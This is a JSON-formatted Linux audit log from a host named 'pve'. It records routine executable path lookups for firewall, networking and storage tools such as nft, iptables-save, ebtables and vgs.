{"@timestamp":1781964294097,"@rawstring":"node=pve type=PATH msg=audit(1781964294.097:60402): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964294097,"@rawstring":"node=pve type=PATH msg=audit(1781964294.097:60402): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964293633,"@rawstring":"node=pve type=PATH msg=audit(1781964293.633:60401): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964293633,"@rawstring":"node=pve type=PATH msg=audit(1781964293.633:60401): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964293633,"@rawstring":"node=pve type=PATH msg=audit(1781964293.633:60400): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964293633,"@rawstring":"node=pve type=PATH msg=audit(1781964293.633:60399): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964293627,"@rawstring":"node=pve type=PATH msg=audit(1781964293.627:60398): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964293627,"@rawstring":"node=pve type=PATH msg=audit(1781964293.627:60398): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964293627,"@rawstring":"node=pve type=PATH msg=audit(1781964293.627:60397): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964293627,"@rawstring":"node=pve type=PATH msg=audit(1781964293.627:60396): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964288617,"@rawstring":"node=pve type=PATH msg=audit(1781964288.617:60395): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964288617,"@rawstring":"node=pve type=PATH msg=audit(1781964288.617:60395): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964288617,"@rawstring":"node=pve type=PATH msg=audit(1781964288.617:60394): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964288617,"@rawstring":"node=pve type=PATH msg=audit(1781964288.617:60393): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964288605,"@rawstring":"node=pve type=PATH msg=audit(1781964288.605:60392): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964288605,"@rawstring":"node=pve type=PATH msg=audit(1781964288.605:60392): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964288605,"@rawstring":"node=pve type=PATH msg=audit(1781964288.605:60391): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964288605,"@rawstring":"node=pve type=PATH msg=audit(1781964288.605:60390): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285754,"@rawstring":"node=pve type=PATH msg=audit(1781964285.754:60389): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285754,"@rawstring":"node=pve type=PATH msg=audit(1781964285.754:60389): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285751,"@rawstring":"node=pve type=PATH msg=audit(1781964285.751:60388): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285751,"@rawstring":"node=pve type=PATH msg=audit(1781964285.751:60388): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285750,"@rawstring":"node=pve type=PATH msg=audit(1781964285.750:60387): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285750,"@rawstring":"node=pve type=PATH msg=audit(1781964285.750:60387): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285750,"@rawstring":"node=pve type=PATH msg=audit(1781964285.750:60386): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285745,"@rawstring":"node=pve type=PATH msg=audit(1781964285.745:60385): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285745,"@rawstring":"node=pve type=PATH msg=audit(1781964285.745:60385): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285745,"@rawstring":"node=pve type=PATH msg=audit(1781964285.745:60385): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285737,"@rawstring":"node=pve type=PATH msg=audit(1781964285.737:60384): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285737,"@rawstring":"node=pve type=PATH msg=audit(1781964285.737:60384): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285731,"@rawstring":"node=pve type=PATH msg=audit(1781964285.731:60383): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285731,"@rawstring":"node=pve type=PATH msg=audit(1781964285.731:60383): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285724,"@rawstring":"node=pve type=PATH msg=audit(1781964285.724:60382): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285724,"@rawstring":"node=pve type=PATH msg=audit(1781964285.724:60382): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285716,"@rawstring":"node=pve type=PATH msg=audit(1781964285.716:60381): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285716,"@rawstring":"node=pve type=PATH msg=audit(1781964285.716:60381): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285710,"@rawstring":"node=pve type=PATH msg=audit(1781964285.710:60379): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285710,"@rawstring":"node=pve type=PATH msg=audit(1781964285.710:60379): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285704,"@rawstring":"node=pve type=PATH msg=audit(1781964285.704:60378): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285704,"@rawstring":"node=pve type=PATH msg=audit(1781964285.704:60378): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285699,"@rawstring":"node=pve type=PATH msg=audit(1781964285.699:60377): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285699,"@rawstring":"node=pve type=PATH msg=audit(1781964285.699:60377): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285694,"@rawstring":"node=pve type=PATH msg=audit(1781964285.694:60376): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285694,"@rawstring":"node=pve type=PATH msg=audit(1781964285.694:60376): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285688,"@rawstring":"node=pve type=PATH msg=audit(1781964285.688:60375): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285688,"@rawstring":"node=pve type=PATH msg=audit(1781964285.688:60375): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285683,"@rawstring":"node=pve type=PATH msg=audit(1781964285.683:60374): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285683,"@rawstring":"node=pve type=PATH msg=audit(1781964285.683:60374): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285676,"@rawstring":"node=pve type=PATH msg=audit(1781964285.676:60373): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285676,"@rawstring":"node=pve type=PATH msg=audit(1781964285.676:60373): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285669,"@rawstring":"node=pve type=PATH msg=audit(1781964285.669:60372): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285669,"@rawstring":"node=pve type=PATH msg=audit(1781964285.669:60372): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285665,"@rawstring":"node=pve type=PATH msg=audit(1781964285.665:60371): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285665,"@rawstring":"node=pve type=PATH msg=audit(1781964285.665:60371): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285662,"@rawstring":"node=pve type=PATH msg=audit(1781964285.662:60370): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285662,"@rawstring":"node=pve type=PATH msg=audit(1781964285.662:60370): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285661,"@rawstring":"node=pve type=PATH msg=audit(1781964285.661:60369): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285661,"@rawstring":"node=pve type=PATH msg=audit(1781964285.661:60369): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285661,"@rawstring":"node=pve type=PATH msg=audit(1781964285.661:60368): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285657,"@rawstring":"node=pve type=PATH msg=audit(1781964285.657:60367): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285657,"@rawstring":"node=pve type=PATH msg=audit(1781964285.657:60367): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285657,"@rawstring":"node=pve type=PATH msg=audit(1781964285.657:60367): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285650,"@rawstring":"node=pve type=PATH msg=audit(1781964285.650:60366): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285650,"@rawstring":"node=pve type=PATH msg=audit(1781964285.650:60366): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285643,"@rawstring":"node=pve type=PATH msg=audit(1781964285.643:60365): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285643,"@rawstring":"node=pve type=PATH msg=audit(1781964285.643:60365): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285637,"@rawstring":"node=pve type=PATH msg=audit(1781964285.637:60364): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285637,"@rawstring":"node=pve type=PATH msg=audit(1781964285.637:60364): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285630,"@rawstring":"node=pve type=PATH msg=audit(1781964285.630:60363): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285630,"@rawstring":"node=pve type=PATH msg=audit(1781964285.630:60363): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285624,"@rawstring":"node=pve type=PATH msg=audit(1781964285.624:60362): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285624,"@rawstring":"node=pve type=PATH msg=audit(1781964285.624:60362): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285024,"@rawstring":"node=pve type=PATH msg=audit(1781964285.024:60361): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964285024,"@rawstring":"node=pve type=PATH msg=audit(1781964285.024:60361): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964284984,"@rawstring":"node=pve type=PATH msg=audit(1781964284.984:60360): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964284984,"@rawstring":"node=pve type=PATH msg=audit(1781964284.984:60360): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964283596,"@rawstring":"node=pve type=PATH msg=audit(1781964283.596:60359): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964283596,"@rawstring":"node=pve type=PATH msg=audit(1781964283.596:60359): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964283596,"@rawstring":"node=pve type=PATH msg=audit(1781964283.596:60358): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964283596,"@rawstring":"node=pve type=PATH msg=audit(1781964283.596:60357): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964283590,"@rawstring":"node=pve type=PATH msg=audit(1781964283.590:60356): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964283590,"@rawstring":"node=pve type=PATH msg=audit(1781964283.590:60356): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964283590,"@rawstring":"node=pve type=PATH msg=audit(1781964283.590:60355): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964283590,"@rawstring":"node=pve type=PATH msg=audit(1781964283.590:60354): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964279602,"@rawstring":"node=pve type=PATH msg=audit(1781964279.602:60353): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964279602,"@rawstring":"node=pve type=PATH msg=audit(1781964279.602:60352): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964279602,"@rawstring":"node=pve type=PATH msg=audit(1781964279.602:60353): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964279602,"@rawstring":"node=pve type=PATH msg=audit(1781964279.602:60352): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964279600,"@rawstring":"node=pve type=PATH msg=audit(1781964279.600:60351): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964279600,"@rawstring":"node=pve type=PATH msg=audit(1781964279.600:60351): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964278581,"@rawstring":"node=pve type=PATH msg=audit(1781964278.581:60350): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964278581,"@rawstring":"node=pve type=PATH msg=audit(1781964278.581:60350): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964278581,"@rawstring":"node=pve type=PATH msg=audit(1781964278.581:60349): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964278581,"@rawstring":"node=pve type=PATH msg=audit(1781964278.581:60348): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964278573,"@rawstring":"node=pve type=PATH msg=audit(1781964278.573:60347): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964278573,"@rawstring":"node=pve type=PATH msg=audit(1781964278.573:60347): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 